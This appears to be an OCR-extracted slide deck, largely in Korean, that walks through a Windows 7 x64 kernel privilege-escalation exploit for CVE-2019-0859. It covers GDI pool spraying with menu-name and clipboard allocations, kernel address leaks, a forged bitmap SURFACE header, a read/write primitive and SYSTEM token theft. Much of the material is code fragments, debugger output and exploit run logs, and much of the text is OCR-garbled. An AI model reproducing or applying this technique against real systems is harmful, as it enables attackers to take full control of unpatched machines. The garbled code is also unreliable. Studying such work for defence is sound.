ere when (arg2==8 && *arg3!=0), we can set *arg3 = ShellCode, *(*object+0x10)+0x1C = &H
alDispatchTable[1], then we can wirte our shellcode address to HalDispatchTable !



# Make Exploit #6

Bitmap= 2|7t Free A|ZI S0 e A0|2

=
GDI poold| & EE[= Object™ &2

tesSER structures/data allocated on GDI pool

* Some user objects are allocated on GDI pool, but they are not alone!

* There are many user structures allocated on GDI pool (tagPOPUPMENU,
tagWND.pTransform, tagSBTRACK ...). We can get their addresses by
reading object’s content from desktop heap (as USER objects contain
pointers to this structures).

* We found, that tagCLS.lpszMenuName (see previous slide) allocated on GDI
pool.

* This tagCLS field represents WNDCLASSEX.IpszMenuName (UNICODE).
* We can easily allocate it by RegisterClass and free by UnregisterClass.
* Also we can control size of this allocation.




# Make Exploit

Useful objects/structures in GDI pool

7. * S8me USER objects/structures isn’t possible to use during exploitation because we can’t easily
m— altocate/control them.

I We made list of potentially “exploitable” objects and structures with their pros and cons.

rator tables and clip datz

* Following list is incomplete, there are other candidates.

Clip data

WinEvent

Timer

tagCURSOR

Accelerator table

tagCLS.pdce (tagDCE)

USER object

USER object

USER object

USER object

USER object

GDI structure

Controlled

0x60

0x88

0x98

Controlled

Controlled

0x60

Controlled size

Easy allocation and destruction

Easy allocation and destruction

Easy allocation and destruction

Easy allocation and destruction,
controlled size

Easy allocation and destruction

vn at Ekoparty 2016. We'll show alte

Need clipboard access, which can be restricted by
some sandboxes

Static object size

Static object size, need to scan user handle table to
get object address as SetTimer doesn’t return handle

Static object size

We need to count tagACCEL to calculate size of
allocation

Static structure size

#6




# Make Exploit #6

Select Object X #1

Object XE WNDCLASS2| LpszMenuName2 £ 478

1, RegisterClassg 2 =95tH IpszMenuNameS |7} #5t= BH= Unicode Buffer2 27
2. WindowE ZHS => Object Leak@ 2 tagCls2| IpszMenuName?l| H'd FAE A0S
3. UnregisterClass &8 ZZ50] WindowE FreeA|Z

4. Bitmap ObjectE &

5. Bitmap Object”| IpszMenuName0| 2 E|H Unicode fake bitmap objecE 2IAIEl1D

read/write primitive 2t



# Make Exploit #6

Leak Kernel Object

e e e R e e e L e e e

Technique 7 8 8.1 10 - 151 10 - 1607 10-1703 10 -1703 + VBS

NtQuerySystemInformation:
SystemHandlelnformation
Crrat nfarmati
SystemLockinformation - -
! , @ 9@ v v v v
SystemModulelnformation
SystemProcessinformation

SystemBigPoolinformation

System Call Return Values @ X X X X

X X
X X X

Win32k Shared Info User Handle Table @ @ & & v

Descriptor Tables & & O & v &
HMValidateHandle & v v & & & &
GdiSharedHandleTable & & & & X X X
DesktopHeap & v v & & Pt X

PSHAREDINFO gSharedInfo = (PSHAREDINFO)GetProcAddress(hUser32, “gSharedInfo™);

L=

DWORDG4 gdiSharedHTB = NtCurrentPeb()->»>GdiSharedHandleTable;




# Make Exploit #6

O 2 7kX| Leak 7| E O] QUX[ZF Window 78 U2 e 2 XY 7tEHS gSharedinfoE AtE
=> Window 100 A= CreateAcceleratorTabled} Bitmap= O| &%} pool spray® kernel address
leak O] 7t 3StCt.

The phead element of the HANDLEENTRY struct discloses the kermnel object address for the
accelerator table. If we create an accelerator table, leak its address, free it and then allocate a
bitmap of the same size we can force the kernel to reuse the free’d memory. To make this Use-
After-Free (UAF) style information leak 100% reliable, all we need to do is make our objects large
enough, e.g. 4 kB or more, to prevent arbitrary reuse.

Paged Session Pool < 4kb Large Pool => 4kb

—t> | Alloc

CreatefcceleratorTable «———

@x1800 < Accelerator Table +————

—

DestroyAcceleratorTable «

@x188@ < Accelerator Table «—————

- ]

CreateBitmap «————

@x1088 < Bitmap ¢ Accelerator Table «———'

Aifter this operation, we end up with a bitmap at the address where the accelerator table used to
be, regaining our powerful ring0 primitivel Sample code to achieve this in PowerShell can be seen
belowl




# Make Exploit #6

PSHAREDINFO gSharedInfo =

gSharedinfoZt User32.dlI0] ZX5t= Y S7 M ZM Userl| HandleTable0f| £tot YEE

Zotstan ACE

Of2{ @ ZH0| aheList(Handle List)E 7FX2FA HANDLEENTRY XK E 25310 wUniqafe Sl
8=t HANDLEENTRYS| User Handle ZtS 7t 2L},
A2[1 I Handle €{0] W7F &5t= Object2t® phead 24 HE-E

- ALt

Ofm
of
~N
)

=

@
>
o
Q
min
Jot
n
o

igned int 1 = 8; i < gSharedInfo-»psi->cHandleEntries; i++) {
gSha o-»ahelList[i];
)(i | (entry.wUniq << 8xi@))};

if (entry.bType == @x6 && entry.bFlags == 8 && entry.pOwner ==

prevClipAddr.push back((C 4)entry.phead);




# Make Exploit #6

i AlLtE[L CHZ ExploitE Zf-d3t0 Bitmap Objectdf L7} 5= HIO|HE M=s=0Hl 43

3

&8 £epene j
kernelTagCls is: BxfffFF908c@81Fdf0 3
MenuNane is: BxfffFfE900cB1achON ~

First Curr:Bxffffroodcl achie,

11ClientDelta BxfFFFFI80LF e a8

kernelTagCls is: FEFFF9PBcE81fdfB

| MenuNane is: BxfFffFF988cBlacBil
ond C PBxEFFFFENGSCcH] acile),

dvord ptr [rax+rax)

int 3
bitnap handle:8x185888f, kernel addre:@xfifff988cH1ac008 int 3
[» indowlookProc ] UM_N( ERTE int 3
hTarget Kornel menory address: BxFFFFE900cH8158e8,. tagTHREAD menmory addre :’r:t ;
FEFF908c3ef2010 1£840000000000 nop dvord ptr [rax+rax)
UindowlHookProcl << First HUNID 20000VedsBn40182
xUindowlookProc] << OriginfAddress x?732692 £LEEEB00° 02ea1410 458bcs nov r9d.réd

VindowHoo kPy ] Changefddres 3
HiTriggerUulnl ¢ ateWindowsEx Called!?
M (TriggerUulnl HUNID

psurf Oxffef
structure at

» eWindouEx
WindowHookProc ] UM_N(
Windowlhc Proc] UWM_NC
ClientDelta is: BxffffFfI08LfcaBBO0
kernelTagCls fe: OxFFEFFEF900CHSIFAFD
MenuNane BxFEFFFIRBcB1 a0l
Second Curr :Bxfffff708c81acBB8, C
read/urite prinitive?t i QL G
- —_ PYOID

BEVOID

dhsurf 41414141241
hsurf Ox414141414141241241
dhpdev Ox41414241414141341
hdev Ox41414141414141241
sizlBitmap.ox Ox41414141
sizlBitnap cy Ox41414141
Ox41414141
Ox4141414141414241
Ox4141424141414141
Ox41414141
Ox41414141
iBitnapForxat Ox41414141. ERROR
1Type Ox4141. ERROR
fiBitmap Ox4141
4141414141414241




# Make Exploit

SEX|2H 22X 24 => |pszMenuNameO| Unicode PoolO|2 2 0x00002 €& 7+ &
5, 2teot Bitmap Fake Headerg 2=0{ & =7t 8l0f BSOD7t &Y

SURFOB164 fakeSurf

fakeSurf
fakeSurf
fakes
fakeSurf
fakeSurf
fakeSurf
fakeSurf
fakeSurf
fakes
fakeSurf
fakeSurf
fakeSurf
fakeSurf
fakeSurf
fakeSurf
fakeSurf
fakeSurf

% falas

+ + | +
= A A A
T T T T

|
=
T

HWND Second = CreateWindowObject

27t 234>

dhsurf = 8x@182638485868708

dhpdev =
hdev = Bxe

182636485868708

BXBFFFFFFFFF
cy = OxBFFFFFFFFF
0x8162030405050708

a@
8
sizlBitmap.cx =
sizlBitmap
cjBits = @

pvBits = (ULONG64)workerBitmap.pvScan®
pvScan® = (ULONG64 )workerBitmap.pvScand
1Delta = 8x08168268384

iUnig = 8x81828304

exe1028384

iBitmapFormat =
iType =
fiBitma
ppal =

8xe182
p = ex@laé2
8x0182026485068763

= “hlos

fakeBuff, &fakeSurf

sizeof (SURFOBIG4
fakeBuff + ex3e 3

Bx8FB + BxBF8 -
fakeBuff

9x30

0jo

3: kd:

ldpsurf fff£f£f900c01lad0nn
SUTRFACE =structure at O=zfffff900=01ad000:

DHSTURF
HETREF
DHEFDEV
HDEY
SIZEL
SIZEL
TLOHG
PVOID
PYOID
LONG
TLONG
TLONHG
TEHORT
TSHORT
PPALETTE

dh=urt

h=zurf

dhpdew

hdev
zizlBitmap.cx
zizlBitmap.cvy
ciBits

pvBit=s
pwScand
1D=lta

illnig
1BitmapFormat
iType
fijBitmap

rpal

0=0102030405060708
0=0102030405060708
0x0102030405060708
0=0102030405060708
Ox7ffffffa
Ox7ffffffa
0x50607048
Oxfffff900c01£6d10
Oxffff£f900c01£6d10
0x1020304
0x1020304
0xl020304. ERRORE
0x102, ERROE

0x102
0x0101010101010101

#6




# Make Exploit #6

Select Object X #2

07| MZ2 ObjectxE &817|Z &
Clip Datag &&5tH && 7 Exploit & == UX| ES7? Sandbox LIF M KHotEH2 =2

SEBCR B BREOT| Y2 L BE

(IpszMenuName2 LowO| M= & S2510] Of 8 E=Ctath

Cllp data ; : USER object  Controlled Controlled size 3 ; Need chpboard access, whlch can be restrlcted by
some sandboxes
WinEvent . : USER object 0x60 . Easy allocation and destruction . Static object size
‘Timer: 7S i USER object - - '0x88 - Easy allocation and destruction” - = =~~~ - Static object size, need to scan user {
: ' . : j : ; get object address as SetTimer doest - 473 Owner Memary
ree
tagCURSOR ; USER object ~ 0x98: Easy allocation and destruction - Static object size ; ! Window [hread |Desktop Heap / Session Pool
2 Menu Process Desktop Heap
: ¢ ; 3 Cursor Process Session Pool
? 2 o 3 2 = o X 3 4 SetWindowPos | Thread Session Pool
- Accelerator table - - - - - - e USER object - - -Controlled - - - Easy allocation and destruction, - - - - - - - We need to count tagACCEL to caicul 5 Hook Thread Desktop Heap
B 2 . - controlled size 5 A a||0cat|on 6 Clipboard Data Session Pool
- - : - - : - - : : 7 CallProcData | Process Desktop Heap
tagCLS.lpszMenuName - USER data Controlled Easy allocation and destruction, - . . . 8 Accelarator | Prorsss Session Ponl
3 a 2 - E < 9 9 DDE Access Thread Session Pool
¢ 3 ; controlled size (size of unicode string) : : : 10 |DDE Conversation| Thread Session Pool
S 2 g : = = . . 11 | DDE Transaction | Thread Session Pool
- tagCLS.pdce (tagDCE) - - - - - . - - . GDI structure - 0x60 ------- Easy allocatnon and destrt.ctlon -------- Static structuresize- - - - - - - .- .. 12 Monitor Shared Heap
. . . . . . . . i 13 | Kevboard Layout Session Pool
14 Keyboard File Session Pool
15 Event Hook Thread Session Pool
16 Timer Session Pool
17 Input Context Thread Desktop Heap
18 Hid Data Thread Session Pool
19 Dreviee Info Session Poaol
0 Touch {Win 7) Thread Session Pool
21 | Gesture (Win 7) | Thread Session Pool

Table 1. Owner and locality of user objects



# Make Exploit #6

gogo!

https://volatility-labs.blogspot.com/2012/09/movp-34-recovering-tagclipdata- 0: kdr lpool O=fffff900 cl6e?2cl
vhats-in.ht Pool page fff{f900c06e?2cl region i= Paged ses=ion pool
HRstsnAm £EE££900c0E27000 size: 90 previous size: 0 (Allocated) Ghab

fEE££900c0627090 =ize: 10 previous =ize: 90  (Fres=) A
fE£££900c06e?0al =ize: 20 previous =ize: 10 (Allocated) Glnlk
fE£££900c0E6e?0cl size: 20 previous =ize: 20 (Allocated) Glnk

. ; o 3 ) o ffff£900c0Ee?0el =ize: 20 previous size: 20 (Allocated) Ggls
docs.microsoft.com/en-us/windows/desktop/dataxchg/clipboard- FEFE£900=0627100 =ize- 80 previous size: 20 (Allocated) GEfw
operations#memory-and-the-clipboard fEE££900c0627180 =ize: 10 previous =ize: 20 (Fre=) U=pr
fEE££900c0E627190 =ize: 20 previous size: 10 (Allocated) Glnk

https://docs.microsoft.com/en-us/windows/desktop/dataxchg/clipboard fEf££900c06e?1bl =ize: 20 previous size: 20 (Allocated) Glnk
) ) ) o fEE££900c06e71dl =ize: 10 previous size: 20 (Free) Ggls
https://docs.microsoft.com/ko-kr/windows/desktop/dataxchg/using-the- ffEff900cE6aeTlael =ize: di previous =size: 10 (Allocated) Gla@

clipboard *#fff££900c06e72b0 size: f0 previous size: dil  (Allocated) =*Usch
Pooltag U=sch : USERTAG _CLIPBOARD, Binary : win3Zk!_ ConvertMemHandle

log.naver.com/PostView.nhn? fEE££900c06273a0 =ize: 90 previous size: f0 (Allocated) Ghab

R Y OEEIAEE O/ N = R fE£££900c0be?430 =ize: 20 previous size: 90 (Allocated) Glnk

oswareillogNg =220962280519&pareniCategoryNo=&categoryNo= ffEE£900c0627450 size: 20 previous size: 20 (Allocated) Glaok

44&viewDate =&isShowPopularPosts=false&from=postView fEE££900c0E6e7470 =size: 20 previous =ize: 20 (Allocated) Glnk

. o _ fEE££900c06e7490 =size: cl previous =ize: 20 (Allocated) Gpte

p://computer-programming-forum.com/82-mfc/2a42221a328e7f4d.htm fEEf£f900c0627550 size: 130 previous size: cl  (Allocated) Gpff

i - fEEE££900c0627680 =ize: 360 previous size: 130 (Allocated) Trtfid

vw.soulfree.net/332 fEEf£900c06e79%0 =ize: 80 previous =size: 360 (Allocated) Ttid

N . T . 200 Rel adhloh fmacter /CVE-2076 fEE££900c06e7ab0 =ize: 10 previous =ize: 80 (Fre=) U=pr

hitps://github.com/siberas/CVE-2016-3309 Reloadec/olob/maste rCVE-2016- fEFE£900c06e7a70 size: 20 previcus size: 10 (Allocated) Glnk

3309 Reloaded Bitmaps/main bitmaps.cpp fEEE£900c0627290 =ize: 20 previous =ize: 20 (Allocated) Ggls

. . fE£££900c0be?abl size: 10 previous =ize: 20 (Free=) Ggl=

https://sensepost.com/blog/2017 /exploiting-ms16-098-rgnobj-integer- fEff£f900c0EaTacl) =size: dl previous =size: 10 ¢Allocated) Glad@

overflow-on-windows-8.1-x64-bit-by-abusing-qdi-objects/ fE£££900c0627b90 =ize: f0 previous size: di (Allocated) Glad

fE£££900c0be?=lB0 size: 380 previous =ize: f0 (Allocated) Ttfd

setclipboardData

docs.microsoft.com/en-us/windows/desktop/api/winuser/nf-winuser-

setclipboarddata



# Make Exploit #6

Clipboard Datag &-&3iAl poolE #ote A7|2F st HO[HE = AME 45

fmt
Clipboard0i= 0]2{7}X| Format2| HIO|EE MEE 4 U= Gl Binary €2 OIO|EE MESHAHLE

St7| 2/5h RegisterClipboardFormat 2=2 custom format2 X8 &= A

pid AllocateClipBoardWithBuffer(unsigned int » BYTE *
UINT fmt = (L"FAKE_FORMAT BUFFER"); 3id FreeClipBoard()

. len); - OpenClipboard(
EmptyClipboard

» len);

OpencClipbo CloseClipboard();
EmptyClipbo 1

SetClipboardData(fmt, hMem);

CloseClipboard(

GlobalFree(hMem) ;




# Make Exploit #6

7| M Relsof & B2 Clipboarde 012 Window?t0| SR &= EH0|7| IfZ0
Unique®t Handledt2 UserOf| Al Z=X| @50tA
Li7F £@ot POOL EY0| OC|QIX| H2SHA & £ QS

4

defA X2 Y5t bType = 0x6 === E5F HOMA HE
1 Z FreeE £l Ar2HE! Kernel Offset@ 2 L{ 7} Bl e
bType2 2SN E2 CIHE

—_

= Fre

0x07 (4.0);
0x06



# Make Exploit #6

prevClipAddr;
1ipAddr;
< 18; try

prey
afte
printf("[1-%d]
AllocateClipBoard(

Y entry
entryHwnd =

entry.bType =

1lipAddr.push_ba

HandleEntries; i++) {

) | (entry.winiq ax
& entry.bFlags == 8

itr++)

afterClipAddr.en

FreeSpaceAddr




# Make Exploit #6

O| K| 20| A Of 7|5t Exploit A|LI2|2 CHE CHA| o=

4

Clipboard= Bt= POOLS| &i|E = Of2fet 20| T+ &

— POOL HEADER(0x10) + Handle Value(0x4) + cLockObj(0x8) + POOL SIZE(0x8) +
ClipboardData(...)

=M= Handle ValueFE| A|Z5H= 20 byte [MZ20f Bitmap Object2| Base HeaderO|

S S E| Base Header £ 22 C} WIHE

0: kd> !dpsurf f£f£££900c2f4=000

SORFACE =s=tructure at 0xfffff900cZ2f4c000:

DHSUERF dh=urf Qz0000000000000000
HEUREF h=urt 0z0000000019050251
DHFDEY dhpdew O=z0000000000000000
HDEV hdew Qz0000000000000000
SIZEL z1zlBitmap.cx 0x29

SIZEL zizlBitmap.cy O0x27

TLONG cjBits Oxlifc

PVOID pvBits Oeffffi900c2f4c238
PYOID pwScanl Oefffff900=2f4=238
LOHG 1De=lta Oxad

TLOHG 1iUnig 0z2064

TLONG iBitmapFormat 0z6., EHMF_ 32BFP
USHORET iType 0=x0, STYPE BITHAP
USHOET fijBitmap 0=zl

FPALETTE ppal O=z0000000000000000
0: kd> dg= ffiff900c2fdc2in




# Make Exploit #6

Fake ObjectE THS0{T A% AI§ => BASEOBJECT header?t W7tX A O X|
LRUAXBE Al M & E 6+ I 2L] SURFACE Object Headerd SURFOBJ 77HX| 2k

SO FAM AHAYZ, O Foll EM2HE[0 J}KX| 2 SEH7HK| Fake ObjectE
T ol ofet
Bitmap 3 Victim Bitmap X  Bitmap 7
\ )
1
Temp Buffer for GLYPHSET Victim BITMAP
~ 0x00
AllocFreeTmpBuffer
header
0x10
GLYPHSET Ox18
Allocation header
with 0x20
padding 7 0x28
Array of WCRANGE 0x30
(character ranges) 0178
Ox1FFC
I o000




# Make Exploit

#6

Fake Object Header

Base Object Header (0x18)

SURFOBJ Header (0x50)
XDCOBJ pdcoAA (0x8)
Flag1 (0x4)
Flag2 (0x4)
ppal (0x8)
hDDSurface (0x8)
sizIDim (0x8)
hdc (0x8)
hDIBSecion (0x8)
hSecure (0x8)
dwOffset (0x4)
Unknown Null Padding(0x8*5)
Unknown Offset (head+0xd8) (0x8)
Unknown Offset (head+0xd8) (0x8)

Unknown Null Padding(0x8*24)
Unknown Offset (head+0x1a8) (0x8)

Unknown Offset (head+0x1a8) (0x8)

SURFACE

typedef struct _SURFACE

{
BASEOBIECT Baselbject:
SURFOBY surfobj:
ADCOB) +  pocodd:
FLONG flags:
PPALETTE  ppal:
WKDOBJ +pllinObj
union

I3

SIZEL sizl
HOC hdc
ULONG cRef
HPALETTE  hpal
HANDLE hO1§
HANDLE hSed]
DWORD dw0f
INT unk,

oo

+ SURFACE, +PSURFAC

£ Win %P

ff w000

ff D0

£ 0w044

ff w048

ff Ox04c verified, palette with kernel handle, index 13
/¢ 0050 Nt Gdi EndPage—>GreDe | etelind

£ w054

CT64 baseDbj;

hDIBSection;
hsecure;
dwCffset;
Unknownl[5];
hd8addri;

hd8addr2;
Unknown2[24];
hlagaddri;
hlagaddr2;



# Make Exploit #6

CE64 fakeSurfa
ceSurface,
.base0bj.
.base0bj.ulShareCount H
.baseObj. cExclusivelock =
.baseObj.BaseFlags <8
.base0bj.Tid = ;

.surfobj.dhsurt

.surfobj.hsurf
face.surfobj.dhpdev =
face.surfobj.hdev = 5
face.surfobj.sizlBitmap.cx
face.surfobj.sizlBitmap.cy

.surfobj.cjBits ;

.surfobj.pvBits workerBitmap.pvScan@;
face.surfobj.pvscand ( workerBitmap.pvScane;
.surfobj.1Delta = 8x7c
face.surfobj.iUniq = &x £
face.surfobj.iBitmapFormat
face.surfobj.iType = @x@;
face.surfobj.fjBitmap =

.flagl = 8x48606800;
.ppal =
-hd8addri
ce.hd8addr2 =
face.hla8addrl
face.hla8addr2

akeSurface+8x18, sirze




# Make Exploit #6
e

Read/Write Primitive with two bitmap

pvScan02 &2l Bitmap?2| PixelO] K& E =

SetBitmapBits : pvScan00| X| &l FA40] Lf7} A

[}
o
=

L o
M Z}I(E OI:-IO‘ls)—

2o FE & (WRITE)
GetBitmapBits : pvScan00f| X|JEl FA0f U L st (READ)
hManager
BASEOBJECT
SURFOB)J Overwrite hWorker

BASEOBJECT
pvScan0

SURFOBJ

pvScan0




# Make Exploit

#6

A

71" Read/WriteE &9l System Process2| token2 =

S Xt Process Tokena HHY X|7| SHH RHEH

£7 Windows 7 Uttimate K

Microsoft Windows
3 6.1 (2 E 7601: Service Pack 1)
Copyright © 2009 Microsoft Corporation, All rights reserved,

HE2 Microsoft 4
SLSLICE
Windows AHSAH

2 7I5 » SOI0IE EA

Hojg

=23 54

| Windows 7|5 AHS/ALE o
o

YH0|E €X HA

UOIES MASZE S20A U8 = [HA] E£ (¥

o=
Microsoft .NET Framework 4.7.2(2)

pdate for Microsoft .NET Framework 4.7.2 (KB4495588)
[EUpdate for Microsoft .NET Framework 4.7.2 (KB4087364)
Microsoft Windows(188)
[ User-Mode Driver Framework v1.11 (KB2685813)
[ Update for Microsoft Windows (KB2670838)
[EMicrosoft Windows(KB4495606)0f Cht ACIO|E.
[=5] Microsoft Windows(KB4493132)0f Ch3t AGIO|E
[EMicrosoft Windows(KB4490628)07 Ch3t ATIO|E.
[ Microsoft Windows(KB4489885)0] T3t 0t L0
[EMicrosoft Windows(KB4474419)0f T3t 0t AT|O|E.
[ Microsoft Windows(KB4054518)0f Ch3t 20+ L0
[& Microsoft Windows(KB4040980)0f 3t HGIO|E.
[EMicrosoft Windows(KB4019990)07 Ch3t ATHO|E.

[ Microsoft Windows(KB3184143)0f 3t GIO|E.

[= Microsoft Windows(KB3179573)0f 3t HGIO|E

[&5 Microsoft Windows(KB3172605)0f T3t HGIO|=
TMicrosoft Windows(KB3170735)0 [t HEI0|E
Microsoft Windows(KB3161949)0f Ch3t 20t AL O|E

[ Microsoft Windows(KB3161102)0§ T3+ EO|E

(w7 Micrnenft Windmwe(VR2150200108 THAL HOF OIH0IE

n

Z)2 2SN

zZ=aw

Microsoft .NET Fra...
Microsoft .NET Fra.

Microsoft Windows
Microsoft Windows
Microsoft Windows
Microsoft Windows
Microsoft Windows
Microsoft Windows
Microsoft Windows
Microsoft Windows
Microsoft Windows
Microsoft Windows
Microsoft Windows
Microsoft Windows
Microsoft Windows
Microsoft Windows
Microsoft Windows
Microsoft Windows
Microsoft Windows

Micrncnft Windnuwe

<

“J| Microsoft Corporation 42|
| | i
| |

Microsoft Windows
http://support.microsoft.com/?kbid=4495606

x££ £££900c0835810,

JEx failed?
£££££900c1£fBAOBA,. Ouner:
tive?
'80002E11000
: FFFFF800030AEG2:

FFFFF80002E11008
: FFFFF800030AEG28

running exploit.

en TOKEN: FFFFFSAB0O0O4B
TOKEN: FFFFF8ABA96CASE?

8x8,

Typ

8x6 .,

tagTHREAD memory addre

hund :0x1730000




# Conclusion #7
I

rl

Windows 7% A& o 2 TIBHSA| User ObjectQ| Kernel AddressE Leakdh=

ZO|L H=0| ZOIAN M H 1Y Exploits 57| T+ S

SHA[2F Ofz{et S S=to| OHE =21 ZAYO0[ GO A0 A|ZHO] BO] 23
S5 0|2 & A2 7t 7ol gl FHO| At REE B glSTm)

Windows 102 L& 22 SHCHH Exploit AFM[7F &  S& St Reliable0] & EO E

HEE => FF LIE 1day Exploit2 Window 1022 Zl&ligh of°g!

[Exploit OS version]
Windows 7 ServicePack1 (7601), x64

https://github.com/Sheisback/CVE-2019-0859-1day-Exploit
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. Sibaek Lee @5he1s6ae
. CVE-2019-0859 1day Exploit for education
Detial will be update soon

Sheisback/CVE-2019-0859-1day-Exploit
CVE-2019-0859 1day Exploit. Contribute to
Sheisback/CVE-2019-0859-1day-Exploit developmer
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